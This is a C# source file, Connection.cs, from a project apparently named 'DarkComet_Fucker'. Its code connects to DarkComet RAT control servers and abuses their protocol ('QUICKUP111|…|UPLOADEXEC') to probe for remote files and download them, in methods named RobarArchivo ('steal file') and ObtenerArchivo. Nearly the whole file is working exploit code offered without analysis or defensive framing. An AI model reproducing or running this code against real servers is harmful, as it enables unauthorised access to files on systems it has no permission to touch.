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Connection.cs
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Connection.cs
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using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
namespace DarkComet_Fucker
{
class Connection
{
public static Socket sock = null;
public static void startSocket()
{
try
{
//if (sock.Connected) { sock.Close(); System.Threading.Thread.Sleep(1000); }
//if (sock != null) { sock.Close(); sock = null; System.Threading.Thread.Sleep(500); }
//if (IsSocketConnected()) { sock.Close(); }
IPAddress ipAdd = System.Net.IPAddress.Parse(Utils.serverIP);
IPEndPoint remoteEP = new IPEndPoint(ipAdd, Utils.serverPort);
sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
sock.NoDelay = true;
sock.ReceiveTimeout = 100;
sock.Connect(remoteEP);
}
catch (Exception e) { }
}
public static string readString()
{
return System.Text.Encoding.UTF8.GetString(readBytes()).Replace("\0", string.Empty);
}
public static long readLong()
{
return BitConverter.ToInt64(readBytes(), 0);
}
public static byte[] readBytes()
{
byte[] buffer = new byte[1024];
try
{
int rec = sock.Receive(buffer, 0, buffer.Length, 0);
Array.Resize(ref buffer, rec);
}
catch (Exception ex) { }
return buffer;
}
public static bool RobarArchivo(long file_length, string filename)
{
byte[] buffer = new byte[1024 * 8];
int rec = 1, total_bytes = 0;
if(File.Exists(filename)) File.Delete(filename);
BinaryWriter bWrite = new BinaryWriter(File.Open(filename, FileMode.Append));
try
{
while (true)
{
rec = sock.Receive(buffer, 0, 8192, SocketFlags.None);
bWrite.Write(buffer, 0, rec);
total_bytes += rec;
sock.Send(System.Text.Encoding.ASCII.GetBytes("GIMME MOAR PL4X"));
}
}
catch (SocketException ex) { };
bWrite.Close();
return File.Exists(filename);
}
public static bool ObtenerArchivo(string source, string dest)
{
bool ret = false;
Connection.startSocket();
Connection.readString();
Connection.sendString(Utils.encrypt("QUICKUP111|" + source + "|UPLOADEXEC"));
Connection.readString();
Connection.sendString(Utils.encrypt("A"));
string file_exist = Connection.readString();
if (!String.IsNullOrEmpty(file_exist))
{
long file_len = Convert.ToInt64(file_exist);
if (file_len > 0)
{
Connection.sendString(Utils.encrypt("A"));
ret = Connection.RobarArchivo(file_len, dest);
}
}
return ret;
}
public static void RobarArchivoSinGuardar(long file_length)
{
byte[] buffer = new byte[1024 * 8];
int rec = 1, total_bytes = 0;
try
{
while (true)
{
rec = sock.Receive(buffer, 0, 8192, SocketFlags.None);
total_bytes += rec;
sock.Send(System.Text.Encoding.ASCII.GetBytes("GIMME MOAR PL4X"));
}
}
catch (SocketException ex) { /*break;*/ };
}
public static bool ArchivoExiste(string filename)
{
bool ret = false;
Connection.startSocket();
Connection.readString();
Connection.sendString(Utils.encrypt("QUICKUP111|" + filename + "|UPLOADEXEC"));
Connection.readString();
Connection.sendString(Utils.encrypt("A"));
string file_exist = Connection.readString();
if (!String.IsNullOrEmpty(file_exist))
{
long file_len = Convert.ToInt64(file_exist);
if (file_len > 0)
{
Connection.sendString(Utils.encrypt("A"));
Connection.RobarArchivoSinGuardar(file_len);
ret = true;
}
}
return ret;
}
public static void sendString(string str)
{
sendBytes(System.Text.Encoding.UTF8.GetBytes(str));
}
public static void sendBytes(byte[] send)
{
sock.Send(send);
}
public static bool IsSocketConnected() //http://stackoverflow.com/questions/2661764/how-to-check-if-a-socket-is-connected-disconnected-in-c
{
return !((sock.Poll(1000, SelectMode.SelectRead) && (sock.Available == 0)) || !sock.Connected);
}
}
}